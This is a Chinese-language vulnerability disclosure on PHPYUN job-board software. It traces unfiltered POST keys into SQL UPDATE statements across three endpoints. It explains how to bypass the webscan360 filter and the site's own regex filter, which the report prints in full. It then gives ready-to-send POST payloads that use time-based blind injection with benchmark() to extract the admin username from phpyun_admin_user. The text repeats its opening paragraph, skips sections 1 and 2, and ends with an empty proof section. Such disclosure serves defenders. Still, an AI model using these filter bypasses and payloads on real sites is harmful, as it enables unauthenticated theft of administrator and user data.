### 简要描述: PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录) ### 详细说明: 首先看问题文件: tiny/index.class.php: ``` class index_controller extends common{ function index_action(){ session_start(); if($this->config['sy_wjl_web']=="2"){ header("location:".Url('error')); } if($_GET['keyword']=='请输入简历关键字,例如:会计'){ $_GET['keyword']=''; } $M=$this->MODEL('tiny'); $ip = fun_ip_get(); $s_time=strtotime(date('Y-m-d 00:00:00')); $m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\'')); $num=$this->config['sy_tiny']-$m_tiny; $CacheM=$this->MODEL('cache'); $CacheList=$CacheM->GetCache(array('user')); $this->yunset($CacheList); if($_POST['submit']){ $id=(int)$_POST['id']; $authcode=md5($_POST['authcode']); $password=md5($_POST['password']); unset($_POST['authcode']); unset($_POST['password']); unset($_POST['submit']); unset($_POST['id']); $_POST['status']=$this->config['user_wjl']; $_POST['login_ip']=$ip; $_POST['time']=time(); $_POST['qq']=$_POST['qq']; if($id!=""){...
### 简要描述: PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录) ### 详细说明: 首先看问题文件: tiny/index.class.php: ``` class index_controller extends common{ function index_action(){ session_start(); if($this->config['sy_wjl_web']=="2"){ header("location:".Url('error')); } if($_GET['keyword']=='请输入简历关键字,例如:会计'){ $_GET['keyword']=''; } $M=$this->MODEL('tiny'); $ip = fun_ip_get(); $s_time=strtotime(date('Y-m-d 00:00:00')); $m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\'')); $num=$this->config['sy_tiny']-$m_tiny; $CacheM=$this->MODEL('cache'); $CacheList=$CacheM->GetCache(array('user')); $this->yunset($CacheList); if($_POST['submit']){ $id=(int)$_POST['id']; $authcode=md5($_POST['authcode']); $password=md5($_POST['password']); unset($_POST['authcode']); unset($_POST['password']); unset($_POST['submit']); unset($_POST['id']); $_POST['status']=$this->config['user_wjl']; $_POST['login_ip']=$ip; $_POST['time']=time(); $_POST['qq']=$_POST['qq']; if($id!=""){ $arr=$M->GetTinyresumeOne(array('id'=>$id,'password'=>$password)); if(empty($arr)){ $this->ACT_layer_msg("密码不正确",8,$_SERVER['HTTP_REFERER']); } $M->UpdateTinyresume($_POST,array('id'=>$id)); ``` 跟踪UpdateTinyresume: ``` function UpdateTinyresume($Values=array(),$Where=array()){ $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values); return $this->DB_update_all('resume_tiny',$ValuesStr,$WhereStr); } ``` 继续跟踪FormatValues ``` function FormatValues($Values){ $ValuesStr=''; foreach($Values as $k=>$v){ if(is_numeric($k)){ $ValuesStr.=','.$v; }else{ if(is_numeric($v)){ $ValuesStr.=',`'.$k.'`='.$v; }else{ $ValuesStr.=',`'.$k.'`=\''.$v.'\''; } } } return substr($ValuesStr,1); } ``` 看到这里说明key没有进行过滤,同样的问题文件也有一处 wap/tiny.class.php: ``` function add_action(){ $this->rightinfo(); if($this->config['sy_wjl_web']=="2"){ $data['msg']='很抱歉!该模块已关闭!'; $data['url']='index.php'; $this->yunset("layer",$data); } $this->get_moblie(); $TinyM=$this->MODEL('tiny'); if($_GET['id']){ $row=$TinyM->GetTinyresumeOne(array('id'=>$_GET[id])); $this->yunset("row",$row); } if($_POST['submit']){ $_POST['status']=$this->config['user_wjl']; $_POST['time']=time(); $_POST['username']=yun_iconv('utf-8','gbk',trim($_POST['username'])); $_POST['production']=yun_iconv('utf-8','gbk',trim($_POST['production'])); $_POST['job']=yun_iconv('utf-8','gbk',trim($_POST['job'])); $password=md5(trim($_POST['password'])); $type=trim($_POST['type']); unset($_POST['submit']); unset($_POST['type']); $id=intval($_POST['id']); if(!isset($_POST['id'])){ $_POST['password']=$password; $nid=$this->obj->insert_into("resume_tiny",$_POST); $nid?$data['msg']='操作成功!':$data['msg']='操作失败!'; $data['url']='index.php?c=tiny'; }else{ $arr=$TinyM->GetTinyresumeOne(array('id'=>$id,'password'=>$password)); if($arr['id']){ if($_POST['id']){ unset($_POST['id']); $nid=$TinyM->UpdateTinyresume($_POST,array("id"=>$arr['id'])); ``` 原理是一样的,我们就拿第一个分析一下: phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如 http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin 然后phpyun也有自己的防御,但是这个可以绕过 ``` function safesql($StrFiltKey,$StrFiltValue,$type){ $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; if($type=="GET") { $ArrFiltReq = $getfilter; }elseif($type=="POST"){ $ArrFiltReq = $postfilter; ``` 并且其中的空格会被替换为下划线 看看这个正则benchmark\s*?\\(\d+? 这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了 有了这些条件,我们就可以轻松遍历整个数据库了 发送url: http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin postdata: username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production`%3Dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC 这个我们就猜测出来admin表里面的username第一个字母为a [<img src="https://images.seebug.org/upload/201507/14235623fe024c5461ea9b4bc9679c6440ff7918.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/14235623fe024c5461ea9b4bc9679c6440ff7918.png) 然后就可以全站遍历了 3、 friend/index.class.php: ``` function saveinfo_action(){ if($_POST['submitBtn']){ $M=$this->MODEL('friend'); unset($_POST['submitBtn']); $nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid)); if($nid){ $state_content = "我刚修改了个性签名 [".$_POST['description']."]。"; $this->addstate($state_content); $M->member_log("修改朋友圈基本信息"); $this->ACT_layer_msg("更新成功!",9,$_SERVER['HTTP_REFERER']); }else{ $this->ACT_layer_msg("更新失败!",8,$_SERVER['HTTP_REFERER']); } } } ``` 跟进函数: SaveFriendInfo ``` function SaveFriendInfo($Values=array(),$Where=array()){ if(empty($Where)){ $ValuesStr=$this->FormatValues($Values); return $this->DB_insert_once('friend_info',$ValuesStr); }else{ $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values); return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); } } ``` 跟进FormatValues: ``` function FormatValues($Values){ $ValuesStr=''; foreach($Values as $k=>$v){ if(is_numeric($k)){ $ValuesStr.=','.$v; }else{ if(is_numeric($v)){ $ValuesStr.=',`'.$k.'`='.$v; }else{ $ValuesStr.=',`'.$k.'`=\''.$v.'\''; } } } return substr($ValuesStr,1); } ``` key没有进行过滤: 怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束 url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo postdata: uid`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4 [<img src="https://images.seebug.org/upload/201507/1601041799b41ae800ffac8a2f0e52a7487e45d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/1601041799b41ae800ffac8a2f0e52a7487e45d3.png) 4、once.class.php: ``` function add_action(){ $this->rightinfo(); if($this->config['sy_wzp_web']=="2"){ $data['msg']='很抱歉!该模块已关闭!'; $data['url']='index.php'; $this->yunset("layer",$data); } $this->get_moblie(); $TinyM=$this->MODEL('once'); if($_GET['id']){ $row=$TinyM->GetOncejobOne(array('id'=>$_GET[id])); $row['edate']=round(($row['edate']-$row['ctime'])/3600/24) ; $this->yunset("row",$row); } if($_POST['submit']){ $_POST=$this->post_trim($_POST); $_POST['mans'] = (int)$_POST['mans']; $_POST = yun_iconv('utf-8','gbk',$_POST); $_POST['status']=$this->config['com_fast_status']; $_POST['ctime']=time(); $_POST['edate']=strtotime("+".(int)$_POST['edate']." days"); $password=md5(trim($_POST['password'])); unset($_POST['submit']); $id=intval($_POST['id']); if($id<1){ $_POST['password']=$password; $nid=$TinyM->AddOncejob($_POST); $nid?$data['msg']='操作成功!':$data['msg']='操作失败!'; $data['url']='index.php?c=once'; }else{ $arr=$TinyM->GetOncejobOne(array('id'=>$id,'password'=>$password)); if($arr['id']){ if($_POST['id']){ unset($_POST['id']); unset($_POST['password']); $nid=$TinyM->UpdateOncejob($_POST,array("id"=>$arr['id'])); ``` 跟进去: UpdateOncejob: ``` function UpdateOncejob($Values=array(),$Where=array()){ $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values); return $this->DB_update_all('once_job',$ValuesStr,$WhereStr); } ``` 再跟进FormatValues: ``` function FormatValues($Values){ $ValuesStr=''; foreach($Values as $k=>$v){ if(is_numeric($k)){ $ValuesStr.=','.$v; }else{ if(is_numeric($v)){ $ValuesStr.=',`'.$k.'`='.$v; }else{ $ValuesStr.=',`'.$k.'`=\''.$v.'\''; } } } return substr($ValuesStr,1); } ``` key没有进行过滤: 有两个问题要解决,就是 if($arr['id']){ 这个逻辑怎么成立 阅读上下,只要当传递的id小于1的时候就会进行 if($id<1){ $_POST['password']=$password; $nid=$TinyM->AddOncejob($_POST); 也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录 url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add postdata: mans=123&password=123&id=&submit=%B6%A9%D4%C4 [<img src="https://images.seebug.org/upload/201507/160046300fc541e7d526325bb414acba2fd51afd.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/160046300fc541e7d526325bb414acba2fd51afd.png) 然后我们后续就可以复制id为1,就可以走到问题的那个函数: url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add postdata: mans=123&password=123&id=1&title`%3dif(ascii(substr((select`username`from`phpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4 [<img src="https://images.seebug.org/upload/201507/16004746e8a7f214bb310c32dc2c4dbc7005cd6c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/16004746e8a7f214bb310c32dc2c4dbc7005cd6c.png) 造成延时 ### 漏洞证明: